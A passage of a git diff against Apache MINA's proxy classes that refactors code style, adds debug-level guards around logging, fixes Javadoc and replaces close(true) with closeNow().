IdleStatus status) { if (status == IdleStatus.READER_IDLE) { - throw new StreamIoException(new SocketTimeoutException( - "Read timeout")); + throw new StreamIoException(new SocketTimeoutException("Read timeout")); } } diff --git a/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyIoHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyIoHandler.java index 11f3906c90..4f3c33c766 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyIoHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyIoHandler.java @@ -34,13 +34,13 @@ * @since MINA 2.0.0-M3 */ public abstract class AbstractProxyIoHandler extends IoHandlerAdapter { - private final static Logger logger = LoggerFactory - .getLogger(AbstractProxyIoHandler.class); + private final static Logger LOGGER = LoggerFactory.getLogger(AbstractProxyIoHandler.class); /** * Method called only when handshake has completed. * * @param session the io session + * @throws Exception If the proxy session can't be opened */ public abstract void proxySessionOpened(IoSession session) throws Exception; @@ -51,15 +51,15 @@ public abstract class AbstractProxyIoHandler extends IoHandlerAdapter { */ @Override public final void sessionOpened(IoSession session) throws Exception { - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); - if (proxyIoSession.getRequest() instanceof SocksProxyRequest - || proxyIoSession.isAuthenticationFailed() + if (proxyIoSession.getRequest() instanceof SocksProxyRequest || proxyIoSession.isAuthenticationFailed() || proxyIoSession.getHandler().isHandshakeComplete()) { proxySessionOpened(session); } else { - logger.debug("Filtered session opened event !"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Filtered session opened event !"); + } } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyLogicHandler.java index 19c8731b13..059b41f09c 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/AbstractProxyLogicHandler.java @@ -46,8 +46,7 @@ */ public abstract class AbstractProxyLogicHandler implements ProxyLogicHandler { - private final static Logger LOGGER = LoggerFactory - .getLogger(AbstractProxyLogicHandler.class); + private final static Logger LOGGER = LoggerFactory.getLogger(AbstractProxyLogicHandler.class); /** * Object that contains all the proxy authentication session informations. @@ -74,21 +73,21 @@ public AbstractProxyLogicHandler(ProxyIoSession proxyIoSession) { } /** - * Returns the proxy filter {@link ProxyFilter}. + * @return the proxy filter {@link ProxyFilter}. */ protected ProxyFilter getProxyFilter() { return proxyIoSession.getProxyFilter(); } /** - * Returns the session. + * @return the session. */ protected IoSession getSession() { return proxyIoSession.getSession(); } /** - * Returns the {@link ProxyIoSession} object. + * @return the {@link ProxyIoSession} object. */ public ProxyIoSession getProxyIoSession() { return proxyIoSession; @@ -99,23 +98,24 @@ public ProxyIoSession getProxyIoSession() { * * @param nextFilter the next filter * @param data Data buffer to be written. + * @return A Future for the write operation */ - protected WriteFuture writeData(final NextFilter nextFilter, - final IoBuffer data) { + protected WriteFuture writeData(final NextFilter nextFilter, final IoBuffer data) { // write net data ProxyHandshakeIoBuffer writeBuffer = new ProxyHandshakeIoBuffer(data); - LOGGER.debug(" session write: {}", writeBuffer); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" session write: {}", writeBuffer); + } WriteFuture writeFuture = new DefaultWriteFuture(getSession()); - getProxyFilter().writeData(nextFilter, getSession(), - new DefaultWriteRequest(writeBuffer, writeFuture), true); + getProxyFilter().writeData(nextFilter, getSession(), new DefaultWriteRequest(writeBuffer, writeFuture), true); return writeFuture; } /** - * Returns true if handshaking is complete and + * @return true if handshaking is complete and * data can be sent through the proxy. */ public boolean isHandshakeComplete() { @@ -133,11 +133,11 @@ protected final void setHandshakeComplete() { } ProxyIoSession proxyIoSession = getProxyIoSession(); - proxyIoSession.getConnector() - .fireConnected(proxyIoSession.getSession()) - .awaitUninterruptibly(); + proxyIoSession.getConnector().fireConnected(proxyIoSession.getSession()).awaitUninterruptibly(); - LOGGER.debug(" handshake completed"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" handshake completed"); + } // Connected OK try { @@ -150,9 +150,13 @@ protected final void setHandshakeComplete() { /** * Send any write requests which were queued whilst waiting for handshaking to complete. + * + * @throws Exception If we can't flush the pending write requests */ protected synchronized void flushPendingWriteRequests() throws Exception { - LOGGER.debug(" flushPendingWriteRequests()"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" flushPendingWriteRequests()"); + } if (writeRequestQueue == null) { return; @@ -160,11 +164,11 @@ protected synchronized void flushPendingWriteRequests() throws Exception { Event scheduledWrite; while ((scheduledWrite = writeRequestQueue.poll()) != null) { - LOGGER.debug(" Flushing buffered write request: {}", - scheduledWrite.data); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Flushing buffered write request: {}", scheduledWrite.data); + } - getProxyFilter().filterWrite(scheduledWrite.nextFilter, - getSession(), (WriteRequest) scheduledWrite.data); + getProxyFilter().filterWrite(scheduledWrite.nextFilter, getSession(), (WriteRequest) scheduledWrite.data); } // Free queue @@ -174,10 +178,9 @@ protected synchronized void flushPendingWriteRequests() throws Exception { /** * Enqueue a message to be written once handshaking is complete. */ - public synchronized void enqueueWriteRequest(final NextFilter nextFilter, - final WriteRequest writeRequest) { + public synchronized void enqueueWriteRequest(final NextFilter nextFilter, final WriteRequest writeRequest) { if (writeRequestQueue == null) { - writeRequestQueue = new LinkedList(); + writeRequestQueue = new LinkedList<>(); } writeRequestQueue.offer(new Event(nextFilter, writeRequest)); @@ -197,7 +200,7 @@ protected void closeSession(final String message, final Throwable t) { LOGGER.error(message); } - getSession().close(true); + getSession().closeNow(); } /** @@ -221,13 +224,5 @@ private final static class Event { this.nextFilter = nextFilter; this.data = data; } - - public Object getData() { - return data; - } - - public NextFilter getNextFilter() { - return nextFilter; - } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/ProxyAuthException.java b/mina-core/src/main/java/org/apache/mina/proxy/ProxyAuthException.java index 87d993ad2a..d386993aa0 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/ProxyAuthException.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/ProxyAuthException.java @@ -32,14 +32,19 @@ public class ProxyAuthException extends SaslException { private static final long serialVersionUID = -6511596809517532988L; /** - * {@inheritDoc} + * @see SaslException#SaslException(String) + * + * @param message The detail message */ public ProxyAuthException(String message) { super(message); } /** - * {@inheritDoc} + * @see SaslException#SaslException(String, Throwable) + * + * @param message The detail message + * @param ex The exception's cause */ public ProxyAuthException(String message, Throwable ex) { super(message, ex); diff --git a/mina-core/src/main/java/org/apache/mina/proxy/ProxyConnector.java b/mina-core/src/main/java/org/apache/mina/proxy/ProxyConnector.java index 82cfe7f316..2e070fc490 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/ProxyConnector.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/ProxyConnector.java @@ -44,24 +44,27 @@ import org.apache.mina.transport.socket.SocketSessionConfig; /** - * ProxyConnector.java - Decorator for {@link SocketConnector} to provide proxy support, - * as suggested by MINA list discussions. + * ProxyConnector.java - Decorator for {@link SocketConnector} to provide proxy + * support, as suggested by MINA list discussions. *

    - * Operates by intercepting connect requests and replacing the endpoint address with the - * proxy address, then adding a {@link ProxyFilter} as the first {@link IoFilter} which - * performs any necessary handshaking with the proxy before allowing data to flow - * normally. During the handshake, any outgoing write requests are buffered. + * Operates by intercepting connect requests and replacing the endpoint address + * with the proxy address, then adding a {@link ProxyFilter} as the first + * {@link IoFilter} which performs any necessary handshaking with the proxy + * before allowing data to flow normally. During the handshake, any outgoing + * write requests are buffered. * - * @see http://www.nabble.com/Meta-Transport%3A-an-idea-on-implementing-reconnection-and-proxy-td12969001.html - * @see http://issues.apache.org/jira/browse/DIRMINA-415 + * @see Proxy + * reconnection + * @see Proxy + * support * * @author Apache MINA Project * @since MINA 2.0.0-M3 */ public class ProxyConnector extends AbstractIoConnector { - private static final TransportMetadata METADATA = new DefaultTransportMetadata( - "proxy", "proxyconnector", false, true, InetSocketAddress.class, - SocketSessionConfig.class, IoBuffer.class, FileRegion.class); + private static final TransportMetadata METADATA = new DefaultTransportMetadata("proxy", "proxyconnector", false, + true, InetSocketAddress.class, SocketSessionConfig.class, IoBuffer.class, FileRegion.class); /** * Wrapped connector to use for outgoing TCP connections. @@ -95,29 +98,31 @@ public ProxyConnector() { * * @param connector Connector used to establish proxy connections. */ - public ProxyConnector(final SocketConnector connector) { + public ProxyConnector(final SocketConnector connector) { this(connector, new DefaultSocketSessionConfig(), null); } /** - * Creates a new proxy connector. - * @see AbstractIoConnector(IoSessionConfig, Executor). + * Creates a new proxy connector. + * + * @param connector The Connector used to establish proxy connections. + * @param config The session confiugarion to use + * @param executor The associated executor */ public ProxyConnector(final SocketConnector connector, IoSessionConfig config, Executor executor) { super(config, executor); setConnector(connector); - } - + } + /** * {@inheritDoc} */ - @Override public IoSessionConfig getSessionConfig() { return connector.getSessionConfig(); } /** - * Returns the {@link ProxyIoSession} linked with this connector. + * @return the {@link ProxyIoSession} linked with this connector. */ public ProxyIoSession getProxyIoSession() { return proxyIoSession; @@ -133,8 +138,7 @@ public void setProxyIoSession(ProxyIoSession proxyIoSession) { } if (proxyIoSession.getProxyAddress() == null) { - throw new IllegalArgumentException( - "proxySession.proxyAddress cannot be null"); + throw new IllegalArgumentException("proxySession.proxyAddress cannot be null"); } proxyIoSession.setConnector(this); @@ -153,33 +157,28 @@ public void setProxyIoSession(ProxyIoSession proxyIoSession) { */ @SuppressWarnings("unchecked") @Override - protected ConnectFuture connect0( - final SocketAddress remoteAddress, - final SocketAddress localAddress, + protected ConnectFuture connect0(final SocketAddress remoteAddress, final SocketAddress localAddress, final IoSessionInitializer sessionInitializer) { if (!proxyIoSession.isReconnectionNeeded()) { // First connection IoHandler handler = getHandler(); if (!(handler instanceof AbstractProxyIoHandler)) { - throw new IllegalArgumentException( - "IoHandler must be an instance of AbstractProxyIoHandler"); + throw new IllegalArgumentException("IoHandler must be an instance of AbstractProxyIoHandler"); } connector.setHandler(handler); future = new DefaultConnectFuture(); } - ConnectFuture conFuture = connector.connect(proxyIoSession - .getProxyAddress(), new ProxyIoSessionInitializer( + ConnectFuture conFuture = connector.connect(proxyIoSession.getProxyAddress(), new ProxyIoSessionInitializer( sessionInitializer, proxyIoSession)); - // If proxy does not use reconnection like socks the connector's + // If proxy does not use reconnection like socks the connector's // future is returned. If we're in the middle of a reconnection // then we send back the connector's future which is only used // internally while future will be used to notify // the user of the connection state. - if (proxyIoSession.getRequest() instanceof SocksProxyRequest - || proxyIoSession.isReconnectionNeeded()) { + if (proxyIoSession.getRequest() instanceof SocksProxyRequest || proxyIoSession.isReconnectionNeeded()) { return conFuture; } @@ -205,7 +204,7 @@ protected ConnectFuture fireConnected(final IoSession session) { } /** - * Get the {@link SocketConnector} to be used for connections + * @return the {@link SocketConnector} to be used for connections * to the proxy server. */ public final SocketConnector getConnector() { @@ -218,7 +217,7 @@ public final SocketConnector getConnector() { * * @param connector the connector to use */ - private final void setConnector(final SocketConnector connector) { + private void setConnector(final SocketConnector connector) { if (connector == null) { throw new IllegalArgumentException("connector cannot be null"); } @@ -231,7 +230,7 @@ private final void setConnector(final SocketConnector connector) { connector.getFilterChain().remove(className); } - // Insert the ProxyFilter as the first filter in the filter chain builder + // Insert the ProxyFilter as the first filter in the filter chain builder connector.getFilterChain().addFirst(className, proxyFilter); } diff --git a/mina-core/src/main/java/org/apache/mina/proxy/ProxyLogicHandler.java b/mina-core/src/main/java/org/apache/mina/proxy/ProxyLogicHandler.java index 7d44251f8f..2812d52163 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/ProxyLogicHandler.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/ProxyLogicHandler.java @@ -37,7 +37,7 @@ public interface ProxyLogicHandler { * @return true if handshaking is complete and * data can be sent through the proxy, false otherwise. */ - public abstract boolean isHandshakeComplete(); + boolean isHandshakeComplete(); /** * Handle incoming data during the handshake process. Should consume only the @@ -47,8 +47,7 @@ public interface ProxyLogicHandler { * @param buf the buffer holding the received data * @throws ProxyAuthException if authentication fails */ - public abstract void messageReceived(NextFilter nextFilter, IoBuffer buf) - throws ProxyAuthException; + void messageReceived(NextFilter nextFilter, IoBuffer buf) throws ProxyAuthException; /** * Called at each step of the handshake procedure. @@ -56,15 +55,12 @@ public abstract void messageReceived(NextFilter nextFilter, IoBuffer buf) * @param nextFilter the next filter in filter chain * @throws ProxyAuthException if authentication fails */ - public abstract void doHandshake(NextFilter nextFilter) - throws ProxyAuthException; + void doHandshake(NextFilter nextFilter) throws ProxyAuthException; /** - * Returns the {@link ProxyIoSession}. - * - * @return the proxy session object + * @return the {@link ProxyIoSession}. */ - public abstract ProxyIoSession getProxyIoSession(); + ProxyIoSession getProxyIoSession(); /** * Enqueue a message to be written once handshaking is complete. @@ -72,6 +68,5 @@ public abstract void doHandshake(NextFilter nextFilter) * @param nextFilter the next filter in filter chain * @param writeRequest the data to be written */ - public abstract void enqueueWriteRequest(final NextFilter nextFilter, - final WriteRequest writeRequest); + void enqueueWriteRequest(final NextFilter nextFilter, final WriteRequest writeRequest); } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEvent.java b/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEvent.java index 5376d593c8..db040445ef 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEvent.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEvent.java @@ -32,8 +32,7 @@ * @since MINA 2.0.0-M3 */ public class IoSessionEvent { - private final static Logger logger = LoggerFactory - .getLogger(IoSessionEvent.class); + private static final Logger LOGGER = LoggerFactory.getLogger(IoSessionEvent.class); /** * The next filter in the chain. @@ -64,8 +63,7 @@ public class IoSessionEvent { * @param session the session * @param type the event type */ - public IoSessionEvent(final NextFilter nextFilter, final IoSession session, - final IoSessionEventType type) { + public IoSessionEvent(NextFilter nextFilter, IoSession session, IoSessionEventType type) { this.nextFilter = nextFilter; this.session = session; this.type = type; @@ -79,17 +77,19 @@ public IoSessionEvent(final NextFilter nextFilter, final IoSession session, * @param session the session * @param status the idle status */ - public IoSessionEvent(final NextFilter nextFilter, final IoSession session, - final IdleStatus status) { + public IoSessionEvent(NextFilter nextFilter, IoSession session, IdleStatus status) { this(nextFilter, session, IoSessionEventType.IDLE); this.status = status; } - + /** * Delivers this event to the next filter. */ public void deliverEvent() { - logger.debug("Delivering event {}", this); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Delivering event {}", this); + } + deliverEvent(this.nextFilter, this.session, this.type, this.status); } @@ -103,22 +103,24 @@ public void deliverEvent() { * @param status the idle status should only be non null only if the event type is * {@link IoSessionEventType#IDLE} */ - private static void deliverEvent(final NextFilter nextFilter, - final IoSession session, final IoSessionEventType type, - final IdleStatus status) { + private static void deliverEvent(NextFilter nextFilter, IoSession session, + IoSessionEventType type, IdleStatus status) { switch (type) { - case CREATED: - nextFilter.sessionCreated(session); - break; - case OPENED: - nextFilter.sessionOpened(session); - break; - case IDLE: - nextFilter.sessionIdle(session, status); - break; - case CLOSED: - nextFilter.sessionClosed(session); - break; + case CREATED: + nextFilter.sessionCreated(session); + break; + + case OPENED: + nextFilter.sessionOpened(session); + break; + + case IDLE: + nextFilter.sessionIdle(session, status); + break; + + case CLOSED: + nextFilter.sessionClosed(session); + break; } } @@ -127,19 +129,17 @@ private static void deliverEvent(final NextFilter nextFilter, */ @Override public String toString() { - StringBuilder sb = new StringBuilder(IoSessionEvent.class - .getSimpleName()); + StringBuilder sb = new StringBuilder(IoSessionEvent.class.getSimpleName()); sb.append('@'); sb.append(Integer.toHexString(hashCode())); sb.append(" - [ ").append(session); sb.append(", ").append(type); sb.append(']'); + return sb.toString(); } /** - * Returns the idle status of the event. - * * @return the idle status of the event */ public IdleStatus getStatus() { @@ -147,27 +147,21 @@ public IdleStatus getStatus() { } /** - * Returns the next filter to which the event should be sent. - * - * @return the next filter + * @return the next filter to which the event should be sent. */ public NextFilter getNextFilter() { return nextFilter; } /** - * Returns the session on which the event occured. - * - * @return the session + * @return the session on which the event occurred. */ public IoSession getSession() { return session; } /** - * Returns the event type that occured. - * - * @return the event type + * @return the event type that occurred. */ public IoSessionEventType getType() { return type; diff --git a/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventQueue.java b/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventQueue.java index 18002840ac..8862ce8ca5 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventQueue.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventQueue.java @@ -35,8 +35,7 @@ * @since MINA 2.0.0-M3 */ public class IoSessionEventQueue { - private final static Logger logger = LoggerFactory - .getLogger(IoSessionEventQueue.class); + private static final Logger LOGGER = LoggerFactory.getLogger(IoSessionEventQueue.class); /** * The proxy session object. @@ -46,8 +45,13 @@ public class IoSessionEventQueue { /** * Queue of session events which occurred before the proxy handshake had completed. */ - private Queue sessionEventsQueue = new LinkedList(); + private Queue sessionEventsQueue = new LinkedList<>(); + /** + * Creates a new proxyIoSession instance + * + * @param proxyIoSession The proxy session instance + */ public IoSessionEventQueue(ProxyIoSession proxyIoSession) { this.proxyIoSession = proxyIoSession; } @@ -59,7 +63,10 @@ private void discardSessionQueueEvents() { synchronized (sessionEventsQueue) { // Free queue sessionEventsQueue.clear(); - logger.debug("Event queue CLEARED"); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Event queue CLEARED"); + } } } @@ -75,11 +82,14 @@ private void discardSessionQueueEvents() { * @param evt the event to enqueue */ public void enqueueEventIfNecessary(final IoSessionEvent evt) { - logger.debug("??? >> Enqueue {}", evt); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("??? >> Enqueue {}", evt); + } if (proxyIoSession.getRequest() instanceof SocksProxyRequest) { // No reconnection used evt.deliverEvent(); + return; } @@ -109,13 +119,18 @@ public void enqueueEventIfNecessary(final IoSessionEvent evt) { * Send any session event which were queued while waiting for handshaking to complete. * * Please note this is an internal method. DO NOT USE it in your code. + * + * @throws Exception If something went wrong while flushing the pending events */ public void flushPendingSessionEvents() throws Exception { synchronized (sessionEventsQueue) { IoSessionEvent evt; - + while ((evt = sessionEventsQueue.poll()) != null) { - logger.debug(" Flushing buffered event: {}", evt); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Flushing buffered event: {}", evt); + } + evt.deliverEvent(); } } @@ -128,8 +143,11 @@ public void flushPendingSessionEvents() throws Exception { */ private void enqueueSessionEvent(final IoSessionEvent evt) { synchronized (sessionEventsQueue) { - logger.debug("Enqueuing event: {}", evt); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Enqueuing event: {}", evt); + } + sessionEventsQueue.offer(evt); - } + } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventType.java b/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventType.java index 6d1525c853..fe8a047002 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventType.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/event/IoSessionEventType.java @@ -26,20 +26,28 @@ * @since MINA 2.0.0-M3 */ public enum IoSessionEventType { - CREATED(1), OPENED(2), IDLE(3), CLOSED(4); + /** Session created */ + CREATED(1), + + /** Session opened */ + OPENED(2), + + /** Session Idling */ + IDLE(3), + + /** Session closed*/ + CLOSED(4); /** * The event type id. */ private final int id; - + private IoSessionEventType(int id) { this.id = id; } - + /** - * Returns the event id. - * * @return the event id */ public int getId() { @@ -52,16 +60,20 @@ public int getId() { @Override public String toString() { switch (this) { - case CREATED: - return "- CREATED event -"; - case OPENED: - return "- OPENED event -"; - case IDLE: - return "- IDLE event -"; - case CLOSED: - return "- CLOSED event -"; - default: - return "- Event Id="+id+" -"; + case CREATED: + return "- CREATED event -"; + + case OPENED: + return "- OPENED event -"; + + case IDLE: + return "- IDLE event -"; + + case CLOSED: + return "- CLOSED event -"; + + default: + return "- Event Id=" + id + " -"; } } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyFilter.java b/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyFilter.java index f617b5d93e..f2bf7028d8 100644 --- a/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyFilter.java +++ b/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyFilter.java @@ -55,8 +55,7 @@ * @since MINA 2.0.0-M3 */ public class ProxyFilter extends IoFilterAdapter { - private final static Logger LOGGER = LoggerFactory - .getLogger(ProxyFilter.class); + private static final Logger LOGGER = LoggerFactory.getLogger(ProxyFilter.class); /** * Create a new {@link ProxyFilter}. @@ -76,11 +75,9 @@ public ProxyFilter() { * {@link ProxyFilter} */ @Override - public void onPreAdd(final IoFilterChain chain, final String name, - final NextFilter nextFilter) { + public void onPreAdd(final IoFilterChain chain, final String name, final NextFilter nextFilter) { if (chain.contains(ProxyFilter.class)) { - throw new IllegalStateException( - "A filter chain cannot contain more than one ProxyFilter."); + throw new IllegalStateException("A filter chain cannot contain more than one ProxyFilter."); } } @@ -93,8 +90,7 @@ public void onPreAdd(final IoFilterChain chain, final String name, * @param nextFilter the next filter */ @Override - public void onPreRemove(final IoFilterChain chain, final String name, - final NextFilter nextFilter) { + public void onPreRemove(final IoFilterChain chain, final String name, final NextFilter nextFilter) { IoSession session = chain.getSession(); session.removeAttribute(ProxyIoSession.PROXY_SESSION); } @@ -104,15 +100,13 @@ public void onPreRemove(final IoFilterChain chain, final String name, * {@link ProxyIoSession} session's instance to signal that handshake * failed. * - * @param chain the filter chain - * @param name the name assigned to this filter - * @param nextFilter the next filter + * @param nextFilter next filter in the filter chain + * @param session the MINA session + * @param cause the original exception */ @Override - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); proxyIoSession.setAuthenticationFailed(true); super.exceptionCaught(nextFilter, session, cause); } @@ -124,8 +118,7 @@ public void exceptionCaught(NextFilter nextFilter, IoSession session, * @return the handler which will handle handshaking with the proxy */ private ProxyLogicHandler getProxyHandler(final IoSession session) { - ProxyLogicHandler handler = ((ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION)).getHandler(); + ProxyLogicHandler handler = ((ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION)).getHandler(); if (handler == null) { throw new IllegalStateException(); @@ -148,8 +141,7 @@ private ProxyLogicHandler getProxyHandler(final IoSession session) { * @param message the object holding the received data */ @Override - public void messageReceived(final NextFilter nextFilter, - final IoSession session, final Object message) + public void messageReceived(final NextFilter nextFilter, final IoSession session, final Object message) throws ProxyAuthException { ProxyLogicHandler handler = getProxyHandler(session); @@ -161,12 +153,16 @@ public void messageReceived(final NextFilter nextFilter, nextFilter.messageReceived(session, buf); } else { - LOGGER.debug(" Data Read: {} ({})", handler, buf); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Data Read: {} ({})", handler, buf); + } // Keep sending handshake data to the handler until we run out // of data or the handshake is finished while (buf.hasRemaining() && !handler.isHandshakeComplete()) { - LOGGER.debug(" Pre-handshake - passing to handler"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Pre-handshake - passing to handler"); + } int pos = buf.position(); handler.messageReceived(nextFilter, buf); @@ -179,7 +175,9 @@ public void messageReceived(final NextFilter nextFilter, // Pass on any remaining data to the next filter if (buf.hasRemaining()) { - LOGGER.debug(" Passing remaining data to next filter"); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Passing remaining data to next filter"); + } nextFilter.messageReceived(session, buf); } @@ -196,8 +194,7 @@ public void messageReceived(final NextFilter nextFilter, * @param writeRequest the data to write */ @Override - public void filterWrite(final NextFilter nextFilter, - final IoSession session, final WriteRequest writeRequest) { + public void filterWrite(final NextFilter nextFilter, final IoSession session, final WriteRequest writeRequest) { writeData(nextFilter, session, writeRequest, false); } @@ -210,8 +207,8 @@ public void filterWrite(final NextFilter nextFilter, * @param writeRequest the data to write * @param isHandshakeData true if writeRequest is written by the proxy classes. */ - public void writeData(final NextFilter nextFilter, final IoSession session, - final WriteRequest writeRequest, final boolean isHandshakeData) { + public void writeData(final NextFilter nextFilter, final IoSession session, final WriteRequest writeRequest, + final boolean isHandshakeData) { ProxyLogicHandler handler = getProxyHandler(session); synchronized (handler) { @@ -219,18 +216,25 @@ public void writeData(final NextFilter nextFilter, final IoSession session, // Handshake is done - write data as normal nextFilter.filterWrite(session, writeRequest); } else if (isHandshakeData) { - LOGGER.debug(" handshake data: {}", writeRequest.getMessage()); - + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" handshake data: {}", writeRequest.getMessage()); + } + // Writing handshake data nextFilter.filterWrite(session, writeRequest); } else { // Writing non-handshake data before the handshake finished if (!session.isConnected()) { // Not even connected - ignore - LOGGER.debug(" Write request on closed session. Request ignored."); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Write request on closed session. Request ignored."); + } } else { // Queue the data to be sent as soon as the handshake completes - LOGGER.debug(" Handshaking is not complete yet. Buffering write request."); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" Handshaking is not complete yet. Buffering write request."); + } + handler.enqueueWriteRequest(nextFilter, writeRequest); } } @@ -246,11 +250,9 @@ public void writeData(final NextFilter nextFilter, final IoSession session, * @param writeRequest the data written */ @Override - public void messageSent(final NextFilter nextFilter, - final IoSession session, final WriteRequest writeRequest) + public void messageSent(final NextFilter nextFilter, final IoSession session, final WriteRequest writeRequest) throws Exception { - if (writeRequest.getMessage() != null - && writeRequest.getMessage() instanceof ProxyHandshakeIoBuffer) { + if (writeRequest.getMessage() != null && writeRequest.getMessage() instanceof ProxyHandshakeIoBuffer) { // Ignore buffers used in handshaking return; } @@ -273,12 +275,17 @@ public void messageSent(final NextFilter nextFilter, * @param session the session object */ @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { - LOGGER.debug("Session created: " + session); - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); - LOGGER.debug(" get proxyIoSession: " + proxyIoSession); + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("Session created: " + session); + } + + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(" get proxyIoSession: " + proxyIoSession); + } + proxyIoSession.setProxyFilter(this); // Create a HTTP proxy handler and start handshake. @@ -305,8 +312,7 @@ public void sessionCreated(NextFilter nextFilter, IoSession session) } proxyIoSession.getEventQueue().enqueueEventIfNecessary( - new IoSessionEvent(nextFilter, session, - IoSessionEventType.CREATED)); + new IoSessionEvent(nextFilter, session, IoSessionEventType.CREATED)); } /** @@ -318,13 +324,10 @@ public void sessionCreated(NextFilter nextFilter, IoSession session) * @param session the session object */ @Override - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); proxyIoSession.getEventQueue().enqueueEventIfNecessary( - new IoSessionEvent(nextFilter, session, - IoSessionEventType.OPENED)); + new IoSessionEvent(nextFilter, session, IoSessionEventType.OPENED)); } /** @@ -334,14 +337,11 @@ public void sessionOpened(NextFilter nextFilter, IoSession session) * * @param nextFilter the next filter in filter chain * @param session the session object - */ + */ @Override - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); - proxyIoSession.getEventQueue().enqueueEventIfNecessary( - new IoSessionEvent(nextFilter, session, status)); + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); + proxyIoSession.getEventQueue().enqueueEventIfNecessary(new IoSessionEvent(nextFilter, session, status)); } /** @@ -351,14 +351,11 @@ public void sessionIdle(NextFilter nextFilter, IoSession session, * * @param nextFilter the next filter in filter chain * @param session the session object - */ + */ @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { - ProxyIoSession proxyIoSession = (ProxyIoSession) session - .getAttribute(ProxyIoSession.PROXY_SESSION); + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { + ProxyIoSession proxyIoSession = (ProxyIoSession) session.getAttribute(ProxyIoSession.PROXY_SESSION); proxyIoSession.getEventQueue().enqueueEventIfNecessary( - new IoSessionEvent(nextFilter, session, - IoSessionEventType.CLOSED)); + new IoSessionEvent(nextFilter, session, IoSessionEventType.CLOSED)); } } \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyHandshakeIoBuffer.java b/mina-core/src/main/java/org/apache/mina/proxy/filter/ProxyHandshakeIoBuffer.java index 